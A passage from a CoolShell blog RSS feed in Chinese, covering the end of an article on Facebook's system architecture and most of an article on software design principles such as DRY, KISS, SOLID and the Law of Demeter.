href=\"http://hadoopblog.blogspot.com/2009/06/hdfs-scribe-integration.html\" target=\"_blank\">Scribe-HDFS </a>[7]，因而允许使用MapReduce进行扩展分析。</li>\n</ul>\n<p><span id=\"more-4549\"></span></p>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li><a href=\"http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919\" target=\"_blank\">BigPipe </a>[8] 是他们的定制技术，用来加速页面显示。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li><a href=\"http://www.varnish-cache.org/\" target=\"_blank\">Varnish Cache</a> [9]用作HTTP代理。他们用这个的原因是<a href=\"http://www.varnish-software.com/customers/facebook\" target=\"_blank\">高速和有效率</a>。 [10].</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>用来搞定用户<a href=\"http://www.facebook.com/note.php?note_id=76191543919\" target=\"_blank\">上传的十亿张照片的存储</a>，其由Haystack处理，Facebook自己开发了一个Ad-Hoc存储方案，其主要做了一些低层优化和“仅追加”写技术 [11].</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>Facebook Messages 使用了自己的架构，其明显地构建在了一个动态集群的基础架构上。业务逻辑和持久化被封装在一个所谓的&#8217;Cell&#8217;。每个‘Cell’都处理一部分用户，新的‘Cell’可以因为访问热度被添加[12]。 持久化归档使用HBase [13]。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>Facebook Messages 的搜索引擎由存储在HBase中的一个倒置索引的构建。 [14]</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>Facebook 搜索引擎实现细节据我所知目前是未知状态。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>Typeahead 搜索使用了一个定制的存储和检索逻辑。 [15]</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>Chat 基于一个Epoll 服务器，这个服务器由Erlang 开发，由Thrift存取 [16]</li>\n</ul>\n<p>关于那些供给给上述组件的资源，下面是一些信息和数量，但是有一些是未知的：</p>\n<ul>\n<li>Facebook估计有超过60,000 台服务器[16]。他们最新的数据中心在俄勒冈州的Prineville，其基于完全自定设计的硬件[17] 那是最近才公开的 <a href=\"http://opencompute.org\" target=\"_blank\">Open Compute 项目</a>[18]。</li>\n</ul>\n<ul>\n<li>300 TB 的数据存在 Memcached 中处理 [19]</li>\n</ul>\n<ul>\n<li>他们的Hadoop 和 Hive 集群由3000 服务器组成，每台服务器有8个核，32GB的内存，12TB的硬盘，全部有2万4千个CPU的核，96TB内存和36PB的硬盘。 [20]</li>\n</ul>\n<ul>\n<li>每天有1000亿的点击量，500亿张照片， 3 万亿个对象被 Cache，每天130TB的日志（<a href=\"http://www.facebook.com/note.php?note_id=409881258919\" target=\"_blank\">2010年7月的数据</a>） [21]</li>\n</ul>\n<p><strong>参考引用</strong></p>\n<p>[1] <em style=\"margin: 0px; padding: 0px;\">HipHop for PHP</em>: <a href=\"http://developers.facebook.com/blog/post/358\">http://developers.facebook.com/blog/post/358</a><br style=\"margin: 0px; padding: 0px;\" />[2] <em style=\"margin: 0px; padding: 0px;\">Thrift</em>: <a href=\"http://thrift.apache.org/\">http://thrift.apache.org/</a><br style=\"margin: 0px; padding: 0px;\" />[3] <em style=\"margin: 0px; padding: 0px;\">Memcached</em>: <a href=\"http://memcached.org/\">http://memcached.org/</a><br style=\"margin: 0px; padding: 0px;\" />[4] <em style=\"margin: 0px; padding: 0px;\">Cassandra</em>: <a href=\"http://cassandra.apache.org/\">http://cassandra.apache.org/</a><br style=\"margin: 0px; padding: 0px;\" />[5] <em style=\"margin: 0px; padding: 0px;\">HBase</em>: <a href=\"http://hbase.apache.org/\">http://hbase.apache.org/</a><br style=\"margin: 0px; padding: 0px;\" />[6] <em style=\"margin: 0px; padding: 0px;\">Scribe</em>: <a href=\"https://github.com/facebook/scribe\">https://github.com/facebook/scribe</a><br style=\"margin: 0px; padding: 0px;\" />[7] <em style=\"margin: 0px; padding: 0px;\">Scribe-HDFS</em>: <a href=\"http://hadoopblog.blogspot.com/2009/06/hdfs-scribe-integration.html\">http://hadoopblog.blogspot.com/2009/06/hdfs-scribe-integration.html</a><br style=\"margin: 0px; padding: 0px;\" />[8] <em style=\"margin: 0px; padding: 0px;\">BigPipe</em>: <a href=\"http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919\">http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919</a><br style=\"margin: 0px; padding: 0px;\" />[9] <em style=\"margin: 0px; padding: 0px;\">Varnish Cache</em>: <a href=\"http://www.varnish-cache.org/\">http://www.varnish-cache.org/</a><br style=\"margin: 0px; padding: 0px;\" />[10] <em style=\"margin: 0px; padding: 0px;\">Facebook goes for Varnish</em>: <a href=\"http://www.varnish-software.com/customers/facebook\">http://www.varnish-software.com/customers/facebook</a><br style=\"margin: 0px; padding: 0px;\" />[11] <em style=\"margin: 0px; padding: 0px;\">Needle in a haystack</em>: efficient storage of billions of photos: <a href=\"http://www.facebook.com/note.php?note_id=76191543919\">http://www.facebook.com/note.php?note_id=76191543919</a><br style=\"margin: 0px; padding: 0px;\" />[12] <em style=\"margin: 0px; padding: 0px;\">Scaling the Messages Application Back End</em>: <a href=\"http://www.facebook.com/note.php?note_id=10150148835363920\">http://www.facebook.com/note.php?note_id=10150148835363920</a><br style=\"margin: 0px; padding: 0px;\" />[13] <em style=\"margin: 0px; padding: 0px;\">The Underlying Technology of Messages</em>: <a href=\"https://www.facebook.com/note.php?note_id=454991608919\">https://www.facebook.com/note.php?note_id=454991608919</a><br style=\"margin: 0px; padding: 0px;\" />[14] <em style=\"margin: 0px; padding: 0px;\">The Underlying Technology of Messages Tech Talk</em>: <a href=\"http://www.facebook.com/video/video.php?v=690851516105\">http://www.facebook.com/video/video.php?v=690851516105</a><br style=\"margin: 0px; padding: 0px;\" />[15] <em style=\"margin: 0px; padding: 0px;\">Facebook&#8217;s typeahead search architecture</em>: <a href=\"http://www.facebook.com/video/video.php?v=432864835468\">http://www.facebook.com/video/video.php?v=432864835468</a><br style=\"margin: 0px; padding: 0px;\" />[16] <em style=\"margin: 0px; padding: 0px;\">Facebook Chat</em>: <a href=\"http://www.facebook.com/note.php?note_id=14218138919\">http://www.facebook.com/note.php?note_id=14218138919</a><br style=\"margin: 0px; padding: 0px;\" />[17] <em style=\"margin: 0px; padding: 0px;\">Who has the most Web Servers?</em>: <a href=\"http://www.datacenterknowledge.com/archives/2009/05/14/whos-got-the-most-web-servers/\">http://www.datacenterknowledge.com/archives/2009/05/14/whos-got-the-most-web-servers/</a><br style=\"margin: 0px; padding: 0px;\" />[18] B<em style=\"margin: 0px; padding: 0px;\">uilding Efficient Data Centers with the Open Compute Project</em>: <a href=\"http://www.facebook.com/note.php?note_id=10150144039563920\">http://www.facebook.com/note.php?note_id=10150144039563920</a><br style=\"margin: 0px; padding: 0px;\" />[19] <em style=\"margin: 0px; padding: 0px;\">Open Compute Project</em>: <a href=\"http://opencompute.org/\">http://opencompute.org/</a><br style=\"margin: 0px; padding: 0px;\" />[20] <em style=\"margin: 0px; padding: 0px;\">Facebook&#8217;s architecture presentation at Devoxx 2010</em>: <a href=\"http://www.devoxx.com\">http://www.devoxx.com</a><br style=\"margin: 0px; padding: 0px;\" />[21] <em style=\"margin: 0px; padding: 0px;\">Scaling Facebook to 500 millions users and beyond</em>: <a href=\"http://www.facebook.com/note.php?note_id=409881258919\">http://www.facebook.com/note.php?note_id=409881258919</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li><li ><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" alt=\"关于Facebook 的 React 专利许可证\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_title\">关于Facebook 的 React 专利许可证</a></li><li ><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"扎克伯格的一封信：关于Facebook IPO\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_title\">扎克伯格的一封信：关于Facebook IPO</a></li><li ><a href=\"https://coolshell.cn/articles/3721.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"Stack Exchange 的架构\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3721.html\" class=\"wp_rp_title\">Stack Exchange 的架构</a></li><li ><a href=\"https://coolshell.cn/articles/3396.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png\" alt=\"Facebook全球关系网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3396.html\" class=\"wp_rp_title\">Facebook全球关系网</a></li><li ><a href=\"https://coolshell.cn/articles/562.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/13-09_menu_menu-150x150.jpg\" alt=\"30种时尚的CSS网站导航条\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/562.html\" class=\"wp_rp_title\">30种时尚的CSS网站导航条</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4549.html\">Facebook 的系统架构</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4549.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>49</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些软件设计的原则</title>\n\t\t<link>https://coolshell.cn/articles/4535.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4535.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 25 Apr 2011 00:24:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Object-Oriented]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[面向对象]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4535</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站向大家介绍过一些软件开发的原则，比如优质代码的十诫和Unix传奇(下篇)中所以说的UNIX的设计原则。相信大家从中能够从中学了解到一些设计原理方面的知识...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4535.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站向大家介绍过一些软件开发的原则，比如<a title=\"优质代码的十诫\" href=\"https://coolshell.cn/articles/1007.html\" target=\"_blank\" rel=\"bookmark noopener\">优质代码的十诫</a>和<a title=\"Unix传奇(下篇)\" href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\" rel=\"noopener\">Unix传奇(下篇)</a>中所以说的UNIX的设计原则。相信大家从中能够从中学了解到一些设计原理方面的知识，正如我在《<a title=\"再谈“我是怎么招聘程序员的”（上）\" href=\"https://coolshell.cn/articles/4506.html\" target=\"_blank\" rel=\"noopener\">再谈“我是怎么招聘程序”</a>》中所说的，一个好的程序员通常由其操作技能、知识水平，经验层力和能力四个方面组成。在这里想和大家说说设计中的一些原则，我认为这些东西属于长期经验总结出来的知识。这些原则，每一个程序员都应该了解。但是请不要教条主义，在使用的时候还是要多多考虑实际情况。其实，<strong>下面这些原则，不单单只是软件开发，可以推广到其它生产活动中，甚至我们的生活中</strong>。</p>\n<h4>Don’t Repeat Yourself (DRY)</h4>\n<p>DRY 是一个最简单的法则，也是最容易被理解的。但它也可能是最难被应用的（因为要做到这样，我们需要在泛型设计上做相当的努力，这并不是一件容易的事）。它意味着，当我们在两个或多个地方的时候发现一些相似的代码的时候，我们需要把他们的共性抽象出来形一个唯一的新方法，并且改变现有的地方的代码让他们以一些合适的参数调用这个新的方法。</p>\n<p><strong>参考</strong>：<a title=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" href=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"nofollow\">http://en.wikipedia.org/wiki/Don%27t_repeat_yourself</a></p>\n<h4>Keep It Simple, Stupid (KISS)</h4>\n<p>KISS原则在设计上可能最被推崇的，在家装设计，界面设计 ，操作设计上，复杂的东西越来越被众人所BS了，而简单的东西越来越被人所认可，比如<a title=\"UI的恶梦\" href=\"https://coolshell.cn/articles/1907.html\" target=\"_blank\" rel=\"noopener\">这些UI的设计</a>和我们<a title=\"为什么中国的网页设计那么烂？\" href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\" rel=\"noopener\">中国网页</a>（尤其是<a title=\"微软用新浪来当反面教材\" href=\"https://coolshell.cn/articles/3872.html\" target=\"_blank\" rel=\"noopener\">新浪的网页</a>）者是负面的例子。“宜家”（IKEA）简约、效率的家居设计、生产思路；“微软”（Microsoft）“所见即所得”的理念；“谷歌”（Google)简约、直接的商业风格，无一例外的遵循了“kiss”原则，也正是“kiss”原则，成就了这些看似神奇的商业经典。而苹果公司的iPhone/iPad将这个原则实践到了极至。</p>\n<p><span id=\"more-4535\"></span></p>\n<p>把一个事情搞复杂是一件简单的事，但要把一个复杂的事变简单，这是一件复杂的事。</p>\n<p><strong>参考</strong>：<a title=\"http://en.wikipedia.org/wiki/KISS_principle\" href=\"http://en.wikipedia.org/wiki/KISS_principle\" rel=\"nofollow\">http://en.wikipedia.org/wiki/KISS_principle</a></p>\n<h4>Program to an interface, not an implementation</h4>\n<p>这是设计模式中最根本的哲学，注重接口，而不是实现，依赖接口，而不是实现。接口是抽象是稳定的，实现则是多种多样的。以后面我们会面向对象的SOLID原则中会提到我们的依赖倒置原则，就是这个原则的的另一种样子。还有一条原则叫 <strong>Composition over inheritance</strong>（喜欢组合而不是继承），这两条是那23个经典设计模式中的设计原则。</p>\n<h4>Command-Query Separation (CQS)  – 命令-查询分离原则</h4>\n<ul>\n<li>查询：当一个方法返回一个值来回应一个问题的时候，它就具有查询的性质；</li>\n<li>命令：当一个方法要改变对象的状态的时候，它就具有命令的性质；</li>\n</ul>\n<p>通常，一个方法可能是纯的Command模式或者是纯的Query模式，或者是两者的混合体。在设计接口时，如果可能，应该尽量使接口单一化，保证方法的行为严格的是命令或者是查询，这样查询方法不会改变对象的状态，没有副作用，而会改变对象的状态的方法不可能有返回值。也就是说：如果我们要问一个问题，那么就不应该影响到它的答案。实际应用，要视具体情况而定，语义的清晰性和使用的简单性之间需要权衡。将Command和Query功能合并入一个方法，方便了客户的使用，但是，降低了清晰性，而且，可能不便于基于断言的程序设计并且需要一个变量来保存查询结果。</p>\n<p>在系统设计中，很多系统也是以这样原则设计的，查询的功能和命令功能的系统分离，这样有则于系统性能，也有利于系统的安全性。</p>\n<p><strong>参考</strong>：<a title=\"http://en.wikipedia.org/wiki/Command-query_separation\" href=\"http://en.wikipedia.org/wiki/Command-query_separation\" rel=\"nofollow\">http://en.wikipedia.org/wiki/Command-query_separation</a></p>\n<h4>You Ain’t Gonna Need It (YAGNI)</h4>\n<p>这个原则简而言之为——只考虑和设计必须的功能，避免过度设计。只实现目前需要的功能，在以后您需要更多功能时，可以再进行添加。</p>\n<ul>\n<li>如无必要，勿增复杂性。</li>\n<li>软件开发先是一场沟通博弈。</li>\n</ul>\n<p>以前本站有一篇关于<a title=\"代码重构的一个示例\" href=\"https://coolshell.cn/articles/3005.html\" target=\"_blank\" rel=\"noopener\">过度重构的文章</a>，这个示例就是这个原则的反例。而，WebSphere的设计者就<a href=\"http://www.bbc.co.uk/news/business-11944966\" target=\"_blank\" rel=\"noopener\">表示过他过度设计了这个产品</a>。我们的程序员或是架构师在设计系统的时候，会考虑很多扩展性的东西，导致在架构与设计方面使用了大量折衷，最后导致项目失败。这是个令人感到讽刺的教训，因为本来希望尽可能延长项目的生命周期，结果反而缩短了生命周期。</p>\n<p><strong>参考</strong>：<a title=\"http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It\" href=\"http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It\" target=\"_blank\" rel=\"nofollow noopener\">http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It</a></p>\n<h4>Law of Demeter – 迪米特法则</h4>\n<p>迪米特法则(Law of Demeter)，又称“最少知识原则”（Principle of Least Knowledge），其来源于1987年荷兰大学的一个叫做Demeter的项目。Craig Larman把Law of Demeter又称作“不要和陌生人说话”。在《程序员修炼之道》中讲LoD的那一章叫作“解耦合与迪米特法则”。关于迪米特法则有一些很形象的比喻：</p>\n<ul>\n<li>如果你想让你的狗跑的话，你会对狗狗说还是对四条狗腿说？</li>\n<li>如果你去店里买东西，你会把钱交给店员，还是会把钱包交给店员让他自己拿？</li>\n</ul>\n<p>和狗的四肢说话？让店员自己从钱包里拿钱？这听起来有点荒唐，不过在我们的代码里这几乎是见怪不怪的事情了。</p>\n<p>对于LoD，正式的表述如下：</p>\n<blockquote><p>对于对象 &#8216;O&#8217; 中一个方法&#8217;M&#8217;，M应该只能够访问以下对象中的方法：</p>\n<ol>\n<li>对象O；</li>\n<li>与O直接相关的Component Object；</li>\n<li>由方法M创建或者实例化的对象；</li>\n<li>作为方法M的参数的对象。</li>\n</ol>\n</blockquote>\n<p>在《Clean Code》一书中，有一段Apache framework中的一段违反了LoD的代码：</p>\n<p style=\"padding-left: 30px;\">final String outputDir = ctxt.getOptions().getScratchDir().getAbsolutePath();</p>\n<p>这么长的一串对其它对象的细节，以及细节的细节，细节的细节的细节&#8230;&#8230;的调用，增加了耦合，使得代码结构复杂、僵化，难以扩展和维护。</p>\n<p>在《重构》一书中的代码的环味道中有一种叫做“Feature Envy”(依恋情结），形象的描述了一种违反了LoC的情况。Feature Envy就是说一个对象对其它对象的内容更有兴趣，也就是说老是羡慕别的对象的成员、结构或者功能，大老远的调用人家的东西。这样的结构显然是不合理的。我们的程序应该写得比较“害羞”。不能像前面例子中的那个不把自己当外人的店员一样，拿过客人的钱包自己把钱拿出来。“害羞”的程序只和自己最近的朋友交谈。这种情况下应该调整程序的结构，让那个对象自己拥有它羡慕的feature，或者使用合理的设计模式（例如Facade和Mediator）。</p>\n<p><strong>参考</strong>：<a title=\"http://en.wikipedia.org/wiki/Principle_of_Least_Knowledge\" href=\"http://en.wikipedia.org/wiki/Principle_of_Least_Knowledge\" rel=\"nofollow\">http://en.wikipedia.org/wiki/Principle_of_Least_Knowledge</a></p>\n<h4>面向对象的S.O.L.I.D 原则</h4>\n<p>一般来说这是面向对象的五大设计原则，但是，我觉得这些原则可适用于所有的软件开发。</p>\n<p><strong>Single Responsibility Principle (SRP) – 职责单一原则</strong></p>\n<p>关于单一职责原则，其核心的思想是：<strong>一个类，只做一件事，并把这件事做好，其只有一个引起它变化的原因</strong>。单一职责原则可以看作是低耦合、高内聚在面向对象原则上的引申，将职责定义为引起变化的原因，以提高内聚性来减少引起变化的原因。职责过多，可能引起它变化的原因就越多，这将导致职责依赖，相互之间就产生影响，从而极大的损伤其内聚性和耦合度。单一职责，通常意味着单一的功能，因此不要为一个模块实现过多的功能点，以保证实体只有一个引起它变化的原因。</p>\n<ul>\n<li>Unix/Linux是这一原则的完美体现者。各个程序都独立负责一个单一的事。</li>\n<li>Windows是这一原则的反面示例。几乎所有的程序都交织耦合在一起。</li>\n</ul>\n<p><strong>Open/Closed Principle (OCP) – 开闭原则</strong></p>\n<p>关于开发封闭原则，其核心的思想是：模块是可扩展的，而不可修改的。也就是说，<strong>对扩展是开放的，而对修改是封闭的</strong>。</p>\n<ul>\n<li>对扩展开放，意味着有新的需求或变化时，可以对现有代码进行扩展，以适应新的情况。</li>\n<li>对修改封闭，意味着类一旦设计完成，就可以独立完成其工作，而不要对类进行任何修改。</li>\n</ul>\n<p>对于面向对象来说，需要你依赖抽象，而不是实现，23个经典设计模式中的“策略模式”就是这个实现。对于非面向对象编程，一些API需要你传入一个你可以扩展的函数，比如我们的C 语言的qsort()允许你提供一个“比较器”，STL中的容器类的内存分配，ACE中的多线程的各种锁。对于软件方面，浏览器的各种插件属于这个原则的实践。</p>\n<p><strong>Liskov substitution principle (LSP) – 里氏代换原则</strong></p>\n<p>软件工程大师Robert C. Martin把里氏代换原则最终简化为一句话：“Subtypes must be substitutable for their base types”。也就是，子类必须能够替换成它们的基类。即：子类应该可以替换任何基类能够出现的地方，并且经过替换以后，代码还能正常工作。另外，不应该在代码中出现if/else之类对子类类型进行判断的条件。里氏替换原则LSP是使代码符合开闭原则的一个重要保证。正是由于子类型的可替换性才使得父类型的模块在无需修改的情况下就可以扩展。</p>\n<p>这么说来，似乎有点教条化，我非常建议大家看看这个原则个两个最经典的案例——“正方形不是长方形”和“鸵鸟不是鸟”。通过这两个案例，你会明白《墨子 小取》中说的 ——“娣，美人也，爱娣，非爱美人也….盗，人也；恶盗，非恶人也。”——妹妹虽然是美人，但喜欢妹妹并不代表喜欢美人。盗贼是人，但讨厌盗贼也并不代表就讨厌人类。<strong>这个原则让你考虑的不是语义上对象的间的关系，而是实际需求的环境</strong>。</p>\n<p>在很多情况下，在设计初期我们类之间的关系不是很明确，LSP则给了我们一个判断和设计类之间关系的基准：需不需要继承，以及怎样设计继承关系。</p>\n<p><strong>Interface Segregation Principle (ISP) – 接口隔离原则</strong></p>\n<p>接口隔离原则意思是把功能实现在接口中，而不是类中，使用多个专门的接口比使用单一的总接口要好。</p>\n<p>举个例子，我们对电脑有不同的使用方式，比如：写作，通讯，看电影，打游戏，上网，编程，计算，数据等，如果我们把这些功能都声明在电脑的抽类里面，那么，我们的上网本，PC机，服务器，笔记本的实现类都要实现所有的这些接口，这就显得太复杂了。所以，我们可以把其这些功能接口隔离开来，比如：工作学习接口，编程开发接口，上网娱乐接口，计算和数据服务接口，这样，我们的不同功能的电脑就可以有所选择地继承这些接口。</p>\n<p>这个原则可以提升我们“搭积木式”的软件开发。对于设计来说，Java中的各种Event Listener和Adapter，对于软件开发来说，不同的用户权限有不同的功能，不同的版本有不同的功能，都是这个原则的应用。</p>\n<p><strong>Dependency Inversion Principle (DIP) – 依赖倒置原则</strong></p>\n<p>高层模块不应该依赖于低层模块的实现，而是依赖于高层抽象。</p>\n<p>举个例子，墙面的开关不应该依赖于电灯的开关实现，而是应该依赖于一个抽象的开关的标准接口，这样，当我们扩展程序的时候，我们的开关同样可以控制其它不同的灯，甚至不同的电器。也就是说，电灯和其它电器继承并实现我们的标准开关接口，而我们的开关产商就可不需要关于其要控制什么样的设备，只需要关心那个标准的开关标准。这就是依赖倒置原则。</p>\n<p>这就好像浏览器并不依赖于后面的web服务器，其只依赖于HTTP协议。这个原则实在是太重要了，社会的分工化，标准化都是这个设计原则的体现。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/Solid_(object-oriented_design)\">http://en.wikipedia.org/wiki/Solid_(object-oriented_design)</a></p>\n<h4>Common Closure Principle（CCP）– 共同封闭原则</h4>\n<p>一个包中所有的类应该对同一种类型的变化关闭。一个变化影响一个包，便影响了包中所有的类。一个更简短的说法是：一起修改的类，应该组合在一起（同一个包里）。如果必须修改应用程序里的代码，我们希望所有的修改都发生在一个包里（修改关闭），而不是遍布在很多包里。CCP原则就是把因为某个同样的原因而需要修改的所有类组合进一个包里。如果2个类从物理上或者从概念上联系得非常紧密，它们通常一起发生改变，那么它们应该属于同一个包。</p>\n<p>CCP延伸了开闭原则（OCP）的“关闭”概念，当因为某个原因需要修改时，把需要修改的范围限制在一个最小范围内的包里。</p>\n<p><strong>参考</strong>：<a href=\"http://c2.com/cgi/wiki?CommonClosurePrinciple\">http://c2.com/cgi/wiki?CommonClosurePrinciple</a></p>\n<h4>Common Reuse Principle (CRP) – 共同重用原则</h4>\n<p>包的所有类被一起重用。如果你重用了其中的一个类，就重用全部。换个说法是，没有被一起重用的类不应该被组合在一起。CRP原则帮助我们决定哪些类应该被放到同一个包里。依赖一个包就是依赖这个包所包含的一切。当一个包发生了改变，并发布新的版本，使用这个包的所有用户都必须在新的包环境下验证他们的工作，即使被他们使用的部分没有发生任何改变。因为如果包中包含有未被使用的类，即使用户不关心该类是否改变，但用户还是不得不升级该包并对原来的功能加以重新测试。</p>\n<p>CCP则让系统的维护者受益。CCP让包尽可能大（CCP原则加入功能相关的类），CRP则让包尽可能小（CRP原则剔除不使用的类）。它们的出发点不一样，但不相互冲突。</p>\n<p><strong>参考</strong>：<a href=\"http://c2.com/cgi/wiki?CommonReusePrinciple\">http://c2.com/cgi/wiki?CommonReusePrinciple</a></p>\n<h4>Hollywood Principle – 好莱坞原则</h4>\n<p>好莱坞原则就是一句话——“don&#8217;t call us, we&#8217;ll call you.”。意思是，好莱坞的经纪人们不希望你去联系他们，而是他们会在需要的时候来联系你。也就是说，所有的组件都是被动的，所有的组件初始化和调用都由容器负责。组件处在一个容器当中，由容器负责管理。</p>\n<p>简单的来讲，就是由容器控制程序之间的关系，而非传统实现中，由程序代码直接操控。这也就是所谓“控制反转”的概念所在：</p>\n<ol>\n<li>不创建对象，而是描述创建对象的方式。</li>\n<li>在代码中，对象与服务没有直接联系，而是容器负责将这些联系在一起。</li>\n</ol>\n<p>控制权由应用代码中转到了外部容器，控制权的转移，是所谓反转。</p>\n<p>好莱坞原则就是IoC（Inversion of Control）或DI（Dependency Injection ）的基础原则。这个原则很像依赖倒置原则，依赖接口，而不是实例，但是这个原则要解决的是怎么把这个实例传入调用类中？你可能把其声明成成员，你可以通过构造函数，你可以通过函数参数。但是 IoC可以让你通过配置文件，一个由Service Container 读取的配置文件来产生实际配置的类。但是程序也有可能变得不易读了，程序的性能也有可能还会下降。</p>\n<p><strong>参考</strong>：</p>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Hollywood_Principle\">http://en.wikipedia.org/wiki/Hollywood_Principle</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Inversion_of_Control\">http://en.wikipedia.org/wiki/Inversion_of_Control</a></li>\n</ul>\n<h4>High Cohesion &amp; Low/Loose coupling &amp; – 高内聚， 低耦合</h4>\n<p>这个原则是UNIX操作系统设计的经典原则，把模块间的耦合降到最低，而努力让一个模块做到精益求精。</p>\n<ul>\n<li>内聚：一个模块内各个元素彼此结合的紧密程度</li>\n<li>耦合：一个软件结构内不同模块之间互连程度的度量</li>\n</ul>\n<p>内聚意味着重用和独立，耦合意味着多米诺效应牵一发动全身。</p>\n<p><strong>参考</strong>：</p>\n<ul>\n<li><a title=\"http://en.wikipedia.org/wiki/Coupling_(computer_science)\" href=\"http://en.wikipedia.org/wiki/Coupling_%28computer_science%29\" rel=\"nofollow\">http://en.wikipedia.org/wiki/Coupling_(computer_science)</a></li>\n<li><a title=\"http://en.wikipedia.org/wiki/Cohesion_(computer_science)\" href=\"http://en.wikipedia.org/wiki/Cohesion_%28computer_science%29\" rel=\"nofollow\">http://en.wikipedia.org/wiki/Cohesion_(computer_science)</a></li>\n</ul>\n<h4>Convention over Configuration（CoC）– 